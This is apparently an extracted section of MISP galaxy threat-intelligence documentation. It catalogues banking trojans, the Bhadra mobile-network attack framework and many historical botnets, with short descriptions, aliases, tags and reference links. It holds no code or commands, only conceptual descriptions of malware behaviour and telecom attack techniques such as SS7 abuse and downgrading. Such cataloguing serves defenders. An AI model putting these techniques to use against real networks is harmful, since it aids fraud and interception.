https://objective-see.com/blog/blog_0x25.html#Dok

DanaBot

It’s a Trojan that includes banking site web injections and stealer functions. It consists of a downloader component that downloads an encrypted file containing the main DLL. The DLL, in turn, connects using raw TCP connections to port 443 and downloads additional modules (i.e. VNCDLL.dll, StealerDLL.dll, ProxyDLL.dll)

The tag is: `misp-galaxy:banker="DanaBot"`

View relationships graph

DanaBot has relationships with:

- similar: `misp-galaxy:malpedia="DanaBot"` with `estimative-language:likelihood-probability="likely"

Table 681. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Backswap

The banker is distributed through malicious email spam campaigns. Instead of using complex process injection methods to monitor browsing activity, the malware hooks key Windows message loop events in order to inspect values of the window objects for banking activity. The payload is delivered as a modified version of a legitimate application that is partially overwritten by the malicious payload

The tag is: `misp-galaxy:banker="Backswap"

Table 682. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Bebloh

The tag is: `misp-galaxy:banker="Bebloh"`
Bebloh is also known as:

- URLZone
- Shiotob

View relationships graph

Bebloh has relationships with:

- similar: misp-galaxy:malpedia="UrlZone" with estimative-language:likelihood-probability="likely"

Table 683. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Banjori

The tag is: misp-galaxy:banker="Banjori"

Banjori is also known as:

- MultiBanker 2
- BankPatch
- BackPatcher

View relationships graph

Banjori has relationships with:

- similar: misp-galaxy:malpedia="Banjori" with estimative-language:likelihood-probability="likely"

Table 684. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.johannesbader.ch/2015/02/the-dga-of-banjori/">https://www.johannesbader.ch/2015/02/the-dga-of-banjori/</a></td>
</tr>
</tbody>
</table>

Qadars

The tag is: misp-galaxy:banker="Qadars"

View relationships graph

Qadars has relationships with:
• similar: misp-galaxy:malpedia="Qadars" with estimative-language:likelihood-probability="likely"

Table 685. Table References

Links


**Sisron**

The tag is: misp-galaxy:banker="Sisron"

Table 686. Table References

Links

https://www.johannesbader.ch/2016/06/the-dga-of-sisron/

**Ranbyus**

The tag is: misp-galaxy:banker="Ranbyus"

View relationships graph

Ranbyus has relationships with:

• similar: misp-galaxy:malpedia="Ranbyus" with estimative-language:likelihood-probability="likely"

Table 687. Table References

Links

https://www.johannesbader.ch/2016/06/the-dga-of-sisron/

**Fobber**

The tag is: misp-galaxy:banker="Fobber"

View relationships graph

Fobber has relationships with:

• similar: misp-galaxy:malpedia="Fobber" with estimative-language:likelihood-probability="likely"

Table 688. Table References

Links

**Karius**

Trojan under development and already being distributed through the RIG Exploit Kit. Observed code similarities with other well-known bankers such as Ramnit, Vawtrak and TrickBot. Karius works in a rather traditional fashion to other banking malware and consists of three components (injector32\64.exe, proxy32\64.dll and mod32\64.dll), these components essentially work together to deploy webinjects in several browsers.

The tag is: `misp-galaxy:banker="Karius"`

**View relationships graph**

Karius has relationships with:

- similar: `misp-galaxy:malpedia="Karius"` with `estimative-language:likelihood-probability="likely"`

*Table 689. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.checkpoint.com/banking-trojans-development/">https://research.checkpoint.com/banking-trojans-development/</a></td>
</tr>
</tbody>
</table>

**Kronos**

Kronos was a type of banking malware first reported in 2014. It was sold for $7000. As of September 2015, a renew version was reconnecting with infected bots and sending them a brand new configuration file against U.K. banks and one bank in India. Similar to Zeus it was focused on stealing banking login credentials from browser sessions. A new version of this malware appears to have been used in 2018, the main difference is that the 2018 edition uses Tor-hosted C&C control panels.

The tag is: `misp-galaxy:banker="Kronos"`

**View relationships graph**

Kronos has relationships with:

- similar: `misp-galaxy:malpedia="Kronos"` with `estimative-language:likelihood-probability="likely"`

*Table 690. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
CamuBot

A newly discovered banking Trojan departs from the regular tactics observed by malware researchers by choosing visible installation and by adding social engineering components. CamuBot appeared last month in Brazil targeting companies and organizations from the public sector. The victim is the one installing the malware, at the instructions of a human operator that pretends to be a bank employee.

The tag is: misp-galaxy:banker="CamuBot"

CamuBot has relationships with:

- similar: misp-galaxy:malpedia="CamuBot" with estimative-language:likelihood-probability="likely"

Table 691. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Dark Tequila

Dark Tequila has primarily been designed to steal victims’ financial information from a long list of online banking sites, as well as login credentials to popular websites, ranging from code versioning repositories to public file storage accounts and domain registrars.

The tag is: misp-galaxy:banker="Dark Tequila"

Table 692. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Malteiro

Distributed by Malteiro

The tag is: misp-galaxy:banker="Malteiro"

Malteiro is also known as:

- URSA

Malteiro has relationships with:
Bhadra Framework

Bhadra Threat Modeling Framework.

Bhadra Framework is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

Authors

Siddharth Prakash Rao - Silke Holtmanns - Tuomas Aura

Attacks from UE

"Attacks from UE" refers to any technique that involves the attacks launched by the software or hardware components of the user equipment to send malicious traffic into the mobile network.

The tag is: misp-galaxy:bhadra-framework="Attacks from UE"

SIM-based attacks

The "SIM-based attacks" are the techniques that involve any physical smart cards, namely SIM from 2G, USIM from 3G, and UICC from 4G networks.

The tag is: misp-galaxy:bhadra-framework="SIM-based attacks"

Attacks from radio access network

The "attacks from radio access network" are the techniques where an adversary with radio capabilities impersonates the mobile network to the UE (or vice versa) and becomes a man-in-the-middle.

The tag is: misp-galaxy:bhadra-framework="Attacks from radio access network"

Attacks from other mobile network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes.
Attacks with access to transport network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes.

Attacks from IP-based network

The "attacks from IP-based attacks" techniques mostly are launched from the service and application network, which allows non operator entities to infuse malicious traffic into an operator's network.

Insider attacks and human errors

The "insider attacks and human errors" technique involve the intentional attacks and unintentional mistakes from human insiders with access to any component of the mobile communication ecosystem.

Infected UE hardware or software

Retaining the foothold gained on the target system through the initial access by infecting UE hardware or software.

Infected SIM cards

Retaining the foothold gained on the target system through the initial access by infecting SIM cards.

Spoofed radio network

Retaining the foothold gained on the target system through the initial access by radio network spoofing.
Infecting network nodes
Retaining the foothold gained on the target system through the initial access by infecting network nodes.

The tag is: misp-galaxy:bhadra-framework="Infecting network nodes"

Covert channels
Retaining the foothold gained on the target system through the initial access via covert channels.

The tag is: misp-galaxy:bhadra-framework="Covert channels"

Port scanning or sweeping
"Port scanning or sweeping" techniques to probe servers or hosts with open ports.

The tag is: misp-galaxy:bhadra-framework="Port scanning or sweeping"

Perimeter mapping
"perimeter mapping" techniques such as command-line utilities (e.g., nmap and whois), web-based lookup tools and official APIs provided by the Internet registrars that assign the ASNs using a wide range of publicly available sources.

The tag is: misp-galaxy:bhadra-framework="Perimeter mapping"

Threat intelligence gathering
"Threat intelligence gathering" using dedicated search engines (such as Censys, Shodan) to gather information about vulnerable devices or networks, or using advanced search options of traditional search engines.

The tag is: misp-galaxy:bhadra-framework="Threat intelligence gathering"

CN-specific scanning
"CN-specific scanning", used to scan nodes that are interconnected with protocols specific to the mobile communication domain (GTP, SCTP).

The tag is: misp-galaxy:bhadra-framework="CN-specific scanning"

Internal resource search
"Internal resource search" refers to an insider with access to provider internal databases abusing the information as a discovery tactic.
The tag is: misp-galaxy:bhadra-framework="Internal resource search"

**UE knocking**

"UE knocking" refers to the technique that scans User Equipment, similarly to how IP endpoints and core network nodes are scanned or mapped.

The tag is: misp-galaxy:bhadra-framework="UE knocking"

**Exploit roaming agreements**

"Exploit roaming agreements" is a technique exploited by evil mobile operators. Despite communication with operators is dependent on a roaming agreement being in place, an attacker that has gained a foothold with one operator, it can abuse the roaming agreements in place for lateral movement with all adjacent operators with agreements in place.

The tag is: misp-galaxy:bhadra-framework="Exploit roaming agreements"

**Abusing interworking functionalities**

"Abusing Inter-working functionalities" is a technique for adversaries to move between networks of different generations laterally

The tag is: misp-galaxy:bhadra-framework="Abusing interworking functionalities"

**Exploit platform & service-specific vulnerabilities**

Once an attacker has gained a foothold in an operator, it can conduct privilege escalation and process injection for gaining administrative rights, password cracking of valid user accounts on the nodes, exploit vulnerabilities in databases and file systems, and take advantage of improper configurations of routers and switches.

The tag is: misp-galaxy:bhadra-framework="Exploit platform & service-specific vulnerabilities"

**SS7-based-attacks**

Attacks abusing the SS7 protocol.

The tag is: misp-galaxy:bhadra-framework="SS7-based-attacks"

**Diameter-based attacks**

Attacks abusing the Diameter protocol.

The tag is: misp-galaxy:bhadra-framework="Diameter-based attacks"
GTP-based attacks

Attacks abusing the GTP protocol.

The tag is: misp-galaxy:bhadra-framework="GTP-based attacks"

DNS-based attacks

DNS based attacks.

The tag is: misp-galaxy:bhadra-framework="DNS-based attacks"

Pre-AKA attacks

Attack techniques that take place during the unencrypted communication that occurs prior to the AKA protocol.

The tag is: misp-galaxy:bhadra-framework="Pre-AKA attacks"

Security audit camouflage

The operating systems, software, and services used on the network nodes are prone to security vulnerabilities and installation of unwanted malware. Although operators conduct routine security audits to track and patch the vulnerabilities or remove the malware from the infected nodes, their effectiveness is not known to the public. Any means by which an adversary can remain undetected from such audits are referred to as the security audit camouflage technique.

The tag is: misp-galaxy:bhadra-framework="Security audit camouflage"

Blacklist evasion

Mobile operators employ several defenses in terms of securing their network traffic. For instance, operators maintain a whitelist of IPs and GTs of nodes from their own infrastructure and their partner operators (as agreed in IR 21), and traffic from only these nodes are processed. Similarly, a blacklist is also maintained to control spam due to configuration errors and malicious traffic. Anything from the blacklist is banned from entering the operator's network. Such defense mechanisms may defend against unsolicited traffic from external networks (e.g., from the public Internet and SAN), but it barely serves its purpose in the case of attacks from inter-operator communications. Since most of the communication protocols are unauthenticated in nature, an attacker with knowledge of identifiers of the allowed nodes (i.e. gained during the discovery phase) can impersonate their identity. We call it the blacklist evasion technique.

The tag is: misp-galaxy:bhadra-framework="Blacklist evasion"

Middlebox misconfiguration exploits

NAT middleboxes are used for separating private networks of mobile operators from public


Internet works as the second line of defense. However, studies have shown that the middleboxes deployed by operators are prone to misconfigurations that allow adversaries to infiltrate malicious traffic into mobile networks e.g., by spoofing the IP headers. Some of the other NAT vulnerabilities lie in IPv4-to-IPv6 address mapping logic, which can be exploited by adversaries to exhaust the resources, wipe out the mapping, or to assist with blacklist evasion. Adversaries use such middlebox misconfiguration exploit techniques to launch denial-of-service or over-billing attacks. The tag is: *misp-galaxy:bhadra-framework="Middlebox misconfiguration exploits"

**Bypass Firewall**

Adversaries (e.g., evil operators) can for example exploit the implicit trust between roaming partners as a bypass firewall technique.

The tag is: *misp-galaxy:bhadra-framework="Bypass Firewall"

**Bypass homerouting**

SMS home routing is a defense mechanism, where an additional SMS router intervenes in external location queries for SMS deliveries, and the roaming network takes the responsibility of delivering the SMS without providing location information to the external entity. Although many operators have implemented SMS home routing solutions, there are no silver bullets. If the SMS routers are incorrectly configured, adversaries can hide SMS delivery location queries within other messages so that the SMS home router fails to process them. We refer to it as the bypass home routing technique.

The tag is: *misp-galaxy:bhadra-framework="Bypass homerouting"

**Downgrading**

Attacks on the radio access networks are well-studied and newer generations are designed to address the weaknesses in previous generations. Usage of weak cryptographic primitives, lack of integrity protection of the radio channels, and one-sided authentication (only from the network) remain as the problem of mostly GSM only radio communication. So, radio link attackers use downgrading as an attack technique to block service over newer generations and accept to serve only in the GSM radio network. The downgrading technique works similarly in the core network, where the adversary accepts to serve only in SS7-based signaling instead of Diameter-based signaling. Using interworking functions for inter-generation communication translation could make the downgrading attacks much easier.

The tag is: *misp-galaxy:bhadra-framework="Downgrading"

**Redirection**

Redirection technique is a variant of the downgrading technique, where an adversary forcefully routes the traffic through networks or components that are under its control. By redirecting traffic to an unsafe network, the adversary can intercept mobile communication (e.g., calls and SMS) on...
the RAN part. Redirection attacks on the core network result in not only communication interception, but also in billing discrepancies, as an adversary can route the calls of a mobile user from its home network through a foreign network on a higher call rate.

The tag is: *misp-galaxy:bhadra-framework="Redirection"*

### UE Protection evasion

Protection on the UE is mainly available in the form of antivirus apps as a defense against viruses and malware that steals sensitive information (e.g., banking credentials and user passwords) or track user activities. Simple visual cues on UE (such as notifications) could also be a protection mechanism by itself. Unfortunately, mobile network-based attacks cannot be detected or defended effectively from UE’s side by traditional antivirus apps, and such attacks do not trigger any visual signs. Although there are attempts for defending against radio link attacks, including citywide studies to detect IMSI catchers, their effectiveness is still under debate. Similarly, there are recent attempts to detect signaling attacks using distance bounding protocol run from a UE. However, such solutions are still in the research phase, and their effectiveness on a large scale is still untested. To this end, the absence of robust detection and defense mechanisms on the UE is, in fact, an evasion mechanism for an adversary. We refer to them as UE protection evasion techniques.

The tag is: *misp-galaxy:bhadra-framework="UE Protection evasion"*

### Admin credentials

Stealing legitimate admin credentials for critical nodes is beneficial for the adversary to increase its chances of persistence to the target or masquerade its activities.

The tag is: *misp-galaxy:bhadra-framework="Admin credentials"*

### User-specific identifiers

User-specific identifiers such as IMSI and IMEI are an indicator for who owns UE with a specific subscription and where a UE is located physically. Since mobile users always keep their mobile phones physically near them, an adversary with the knowledge of these permanent identifiers will be able to determine whether or not a user is in a specific location. On the other hand, temporary identifiers (e.g., TMSI and GUTI) are used to reduce the usage of permanent identifiers like IMSI over radio channels. Although the temporary identifiers are supposed to change frequently and expected to live for a short period, research has shown that it is not the case.

The tag is: *misp-galaxy:bhadra-framework="User-specific identifiers"*

### User-specific data

Adversaries can collect several types of user-specific data, such as the content of SMS and calls, location dumps from base stations, call and billing records, and browsing-related data (such as DNS queries and unencrypted browsing sessions).

The tag is: *misp-galaxy:bhadra-framework="User-specific data"*
Network-specific identifiers

Adversaries aim to collect network-specific identifiers such as GTs and IPs of critical nodes and Tunnel Endpoint Identifier (TEID) of GTP tunnels from operators' networks.

The tag is: misp-galaxy:bhadra-framework="Network-specific identifiers"

Network-specific data

Adversaries may also be interested in network-specific data that are obtained mainly during the execution of discovery tactics. Such data includes, e.g., the network topology, the trust relationship between different nodes, routing metadata, and sensitive documents.

The tag is: misp-galaxy:bhadra-framework="Network-specific data"

Location tracking

Attacker is able to track the location of the target end-user.

The tag is: misp-galaxy:bhadra-framework="Location tracking"

Calls eavesdropping

Attacker is able to eavesdrop on calls.

The tag is: misp-galaxy:bhadra-framework="Calls eavesdropping"

SMS interception

Attacker is able to intercept SMS messages.

The tag is: misp-galaxy:bhadra-framework="SMS interception"

Data interception

Attacker is able to intercept or modify internet traffic.

The tag is: misp-galaxy:bhadra-framework="Data interception"

Billing frauds

Billing frauds refer to various types of attacks where an adversary causes financial discrepancies for operators.

The tag is: misp-galaxy:bhadra-framework="Billing frauds"
**DoS - network**

The attacker can create signaling havoc in specific nodes of operators by repeatedly triggering resource allocation or revocation requests.

The tag is: `misp-galaxy:bhadra-framework="DoS - network"`

**DoS - user**

The attacker can cause denial of service to mobile users.

The tag is: `misp-galaxy:bhadra-framework="DoS - user"`

**Identity-related attacks**

Identity-based attacks involve attack techniques using user and network-specific identifiers. Identity-based attacks cause harm to the privacy of mobile users and produce fraudulent traffic that incurs a financial loss to operators. In most cases, identity-based attacks are used in impersonation, where an adversary impersonates a legitimate mobile user to the core network without possessing appropriate credentials, for example, to avail free mobile services. Most of the signaling attacks that use SS7 are also fall into this category. In other cases, identity-based attacks involve identity mapping, where the adversaries map temporary identifiers (e.g., TMSI and GUTI) to permanent identifiers (e.g., IMSI or MSISDN). In rare cases, the IMSI can further be mapped to social media identities.

The tag is: `misp-galaxy:bhadra-framework="Identity-related attacks"`

**Botnet**

Botnet is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

Various

**ADB.miner**

A new botnet appeared over the weekend, and it's targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.

The botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system's native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system's most sensitive features.
Only devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360’s Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which the named ADB.miner.

The tag is: `misp-galaxy:botnet="ADB.miner"`

### Table 694. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

---

## Bagle

Bagle (also known as Beagle) was a mass-mailing computer worm affecting Microsoft Windows. The first strain, Bagle.A, did not propagate widely. A second variant, Bagle.B, was considerably more virulent.

The tag is: `misp-galaxy:botnet="Bagle"`

Bagle is also known as:

- Beagle
- Mitglieder
- Lodeight

View relationships graph

Bagle has relationships with:

- similar: `misp-galaxy:malpedia="Bagle"` with `estimative-language:likelihood-probability="likely"`

### Table 695. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

---

## Marina Botnet

Around the same time Bagle was sending spam messages all over the world, the Marina Botnet quickly made a name for itself. With over 6 million bots pumping out spam emails every single day, it became apparent these “hacker tools” could get out of hand very quickly. At its peak, Marina Botnet delivered 92 billion spam emails per day.

The tag is: `misp-galaxy:botnet="Marina Botnet"`

Marina Botnet is also known as:

- Damon Briant
Marina Botnet has relationships with:

• similar: misp-galaxy:botnet="Kraken" with estimative-language:likelihood-probability="likely"

Table 696. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Torpig**

Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying data hajimeon the computer, and can perform man-in-the-browser attacks.

The tag is: *misp-galaxy:botnet="Torpig"*

Torpig is also known as:

• Sinowal
• Anserin

Table 697. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Storm

The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of "zombie" computers (or "botnet") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as "230 dead as storm batters Europe," giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.

The tag is: misp-galaxy:botnet="Storm"

Storm is also known as:

- Nuwar
- Peacomm
- Zhelatin
- Dorf
- Ecard

Table 698. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Storm_botnet">https://en.wikipedia.org/wiki/Storm_botnet</a></td>
</tr>
</tbody>
</table>

Rustock

The tag is: misp-galaxy:botnet="Rustock"

Rustock is also known as:

- RKRustok
- Costrat

View relationships graph

Rustock has relationships with:

- similar: misp-galaxy:malpedia="Rustock" with estimative-language:likelihood-probability="likely"

Table 699. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Rustock_botnet">https://en.wikipedia.org/wiki/Rustock_botnet</a></td>
</tr>
</tbody>
</table>
Donbot

The tag is: `misp-galaxy:botnet="Donbot"`

Donbot is also known as:

- Buzus
- Bachsoy

View relationships graph

Donbot has relationships with:

- similar: `misp-galaxy:malpedia="Buzus"` with `estimative-language:likelihood-probability="likely"`

Cutwail

The Cutwail botnet, founded around 2007, is a botnet mostly involved in sending spam e-mails. The bot is typically installed on infected machines by a Trojan component called Pushdo.] It affects computers running Microsoft Windows. related to: Wigon, Pushdo

The tag is: `misp-galaxy:botnet="Cutwail"`

Cutwail is also known as:

- Pandex
- Mutant

View relationships graph

Cutwail has relationships with:

- similar: `misp-galaxy:malpedia="Cutwail"` with `estimative-language:likelihood-probability="likely"`

Akbot

Akbot was a computer virus that infected an estimated 1.3 million computers and added them to a botnet.
The tag is: *misp-galaxy:botnet=*"Akbot"

View relationships graph

Akbot has relationships with:

- similar: *misp-galaxy:tool=*"Akbot" with *estimative-language:likelihood-probability=*"likely"

Table 702. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Akbot">https://en.wikipedia.org/wiki/Akbot</a></td>
<td></td>
</tr>
</tbody>
</table>

**Srizbi**

Srizbi BotNet, considered one of the world’s largest botnets, and responsible for sending out more than half of all the spam being sent by all the major botnets combined. The botnets consist of computers infected by the Srizbi trojan, which sent spam on command. Srizbi suffered a massive setback in November 2008 when hosting provider Janka Cartel was taken down; global spam volumes reduced up to 93% as a result of this action.

The tag is: *misp-galaxy:botnet=*"Srizbi"

Srizbi is also known as:

- Cbeplay
- Exchanger

Table 703. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Srizbi_botnet">https://en.wikipedia.org/wiki/Srizbi_botnet</a></td>
<td></td>
</tr>
</tbody>
</table>

**Lethic**

The Lethic Botnet (initially discovered around 2008) is a botnet consisting of an estimated 210 000 - 310 000 individual machines which are mainly involved in pharmaceutical and replica spam. At the peak of its existence the botnet was responsible for 8-10% of all the spam sent worldwide.

The tag is: *misp-galaxy:botnet=*"Lethic"

View relationships graph

Lethic has relationships with:

- similar: *misp-galaxy:malpedia=*"Lethic" with *estimative-language:likelihood-probability=*"likely"

Table 704. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Xarvester

The tag is: `misp-galaxy:botnet="Xarvester"`

Xarvester is also known as:

- Rlsloup
- Pixoliz

Sality

Sality is the classification for a family of malicious software (malware), which infects files on Microsoft Windows systems. Sality was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Sality may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Sality have also incorporated the use of rootkit functions as part of an ongoing evolution of the malware family. Because of its continued development and capabilities, Sality is considered to be one of the most complex and formidable forms of malware to date.

The tag is: `misp-galaxy:botnet="Sality"`

Sality is also known as:

- Sector
- Kuku
- Sality
- SalLoad
- Kookoo
- SaliCode
- Kukacka

View relationships graph

Sality has relationships with:

- similar: `misp-galaxy:malpedia="Sality"` with estimative-language:likelihood-probability="likely"
Mariposa

The Mariposa botnet, discovered December 2008, is a botnet mainly involved in cyberscamming and denial-of-service attacks. Before the botnet itself was dismantled on 23 December 2009, it consisted of up to 12 million unique IP addresses or up to 1 million individual zombie computers infected with the "Butterfly (mariposa in Spanish) Bot", making it one of the largest known botnets.

The tag is: `misp-galaxy:botnet="Mariposa"`

Conficker

Conficker, also known as Downup, Downadup and Kido, is a computer worm targeting the Microsoft Windows operating system that was first detected in November 2008. It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet, and has been unusually difficult to counter because of its combined use of many advanced malware techniques. The Conficker worm infected millions of computers including government, business and home computers in over 190 countries, making it the largest known computer worm infection since the 2003 Welchia.

The tag is: `misp-galaxy:botnet="Conficker"`

Conficker is also known as:

- DownUp
- DownAndUp
- DownAdUp
- Kido

View relationships graph

Conficker has relationships with:

- similar: `misp-galaxy:malpedia="Conficker"` with `estimative-language:likelihood-probability="likely"`
Waledac

Waledac, also known by its aliases Waled and Waledpak, was a botnet mostly involved in e-mail spam and malware. In March 2010 the botnet was taken down by Microsoft.

The tag is: `misp-galaxy:botnet="Waledac"`

Waledac is also known as:

- Waled
- Waledpak

Maazben

A new botnet, dubbed Maazben, has also been observed and is also growing rapidly. MessageLabs Intelligence has been tracking the growth of Maazben since its infancy in late May and early June. Its dominance in terms of the proportion of spam has been accelerating in the last 30 days from just over 0.5% of all spam, peaking at 4.5% of spam when it is most active. Currently spam from Maazben accounts for approximately 1.4% of all spam, but this is likely to increase significantly over time, particularly since both overall spam per minute sent and spam per bot per minute are increasing.

The tag is: `misp-galaxy:botnet="Maazben"`

Onewordsub

The tag is: `misp-galaxy:botnet="Onewordsub"`
Gheg

Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).

The tag is: misp-galaxy:botnet="Gheg"

Gheg is also known as:

• Tofsee
• Mondera

Gheg has relationships with:

• similar: misp-galaxy:malpedia="Tofsee" with estimative-language:likelihood-probability="likely"

Table 712. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Nucrypt

The tag is: misp-galaxy:botnet="Nucrypt"

Table 713. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Wopla

The tag is: misp-galaxy:botnet="Wopla"

Table 714. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.botnets.fr/wiki.old/index.php/Wopla">https://www.botnets.fr/wiki.old/index.php/Wopla</a></td>
</tr>
</tbody>
</table>

Asprox

The Asprox botnet (discovered around 2008), also known by its aliases Badsrc and Aseljo, is a
botnet mostly involved in phishing scams and performing SQL injections into websites in order to spread malware.

The tag is: *misp-galaxy:botnet=*"Asprox"

Asprox is also known as:

- BadsrC
- Aseljo
- Danmec
- Hydraflux

View relationships graph

Asprox has relationships with:

- similar: *misp-galaxy:malpedia=*"Asprox" with estimative-language:likelihood-probability="likely"

Table 715. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Asprox_botnet">https://en.wikipedia.org/wiki/Asprox_botnet</a></td>
</tr>
</tbody>
</table>

**Spamthru**

Spam Thru represented an exponential jump in the level of sophistication and complexity of these botnets, harnessing a 70,000 strong peer to peer botnet seeded with the Spam Thru Trojan. Spam Thru is also known by the Aliases Backdoor.Win32.Agent.uu, Spam-DComServ and Troj.Agent.Bor. Spam Thru was unique because it had its own antivirus engine designed to remove any other malicious programs residing in the same infected host machine so that it can get unlimited access to the machine's processing power as well as bandwidth. It also had the potential to be 10 times more productive than most other botnets while evading detection because of in-built defences.

The tag is: *misp-galaxy:botnet=*"Spamthru"

Spamthru is also known as:

- Spam-DComServ
- Covesmer
- Xmiler

Table 716. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Gumblar

Gumblar is a malicious JavaScript trojan horse file that redirects a user's Google searches, and then installs rogue security software. Also known as Troj/JSRedir-R this botnet first appeared in 2009.

The tag is: *misp-galaxy:botnet*="Gumblar"

---

BredoLab

The BredoLab botnet, also known by its alias Oficla, was a Russian botnet mostly involved in viral e-mail spam. Before the botnet was eventually dismantled in November 2010 through the seizure of its command and control servers, it was estimated to consist of millions of zombie computers.

The tag is: *misp-galaxy:botnet*="BredoLab"

BredoLab is also known as:

- Oficla

View relationships graph

BredoLab has relationships with:

- similar: *misp-galaxy:tool*="Oficla" with estimative-language:likelihood-probability="likely"

---

Grum

The Grum botnet, also known by its alias Tedroo and Reddyb, was a botnet mostly involved in sending pharmaceutical spam e-mails. Once the world’s largest botnet, Grum can be traced back to as early as 2008. At the time of its shutdown in July 2012, Grum was reportedly the world’s 3rd largest botnet, responsible for 18% of worldwide spam traffic.

The tag is: *misp-galaxy:botnet*="Grum"

Grum is also known as:

- Tedroo
- Reddyb
Mega-D

The Mega-D, also known by its alias of Ozdok, is a botnet that at its peak was responsible for sending 32% of spam worldwide.

The tag is: `misp-galaxy:botnet="Mega-D"`

Mega-D is also known as:

- Ozdok

Kraken

The Kraken botnet was the world's largest botnet as of April 2008. Researchers say that Kraken infected machines in at least 50 of the Fortune 500 companies and grew to over 400,000 bots. It was estimated to send 9 billion spam messages per day. Kraken botnet malware may have been designed to evade anti-virus software, and employed techniques to stymie conventional anti-virus software.

The tag is: `misp-galaxy:botnet="Kraken"`

Kraken is also known as:

- Kracken

Festi

The Festi botnet, also known by its alias of Spamnost, is a botnet mostly involved in email spam and denial of service attacks.
The tag is: `misp-galaxy:botnet="Festi"`

Festi is also known as:

- Spamnost

Table 722. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Vulcanbot**

Vulcanbot is the name of a botnet predominantly spread in Vietnam, apparently with political motives. It is thought to have begun in late 2009.

The tag is: `misp-galaxy:botnet="Vulcanbot"`

Table 723. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**LowSec**

The tag is: `misp-galaxy:botnet="LowSec"`

LowSec is also known as:

- LowSecurity
- FreeMoney
- Ring0.Tools

**TDL4**

Alureon (also known as TDSS or TDL-4) is a trojan and bootkit created to steal data by intercepting a system's network traffic and searching for: banking usernames and passwords, credit card data, PayPal information, social security numbers, and other sensitive user data. Following a series of customer complaints, Microsoft determined that Alureon caused a wave of BSoDs on some 32-bit Microsoft Windows systems. The update, MS10-015, triggered these crashes by breaking assumptions made by the malware author(s).

The tag is: `misp-galaxy:botnet="TDL4"`

TDL4 is also known as:

- TDSS
- Alureon
Zeus

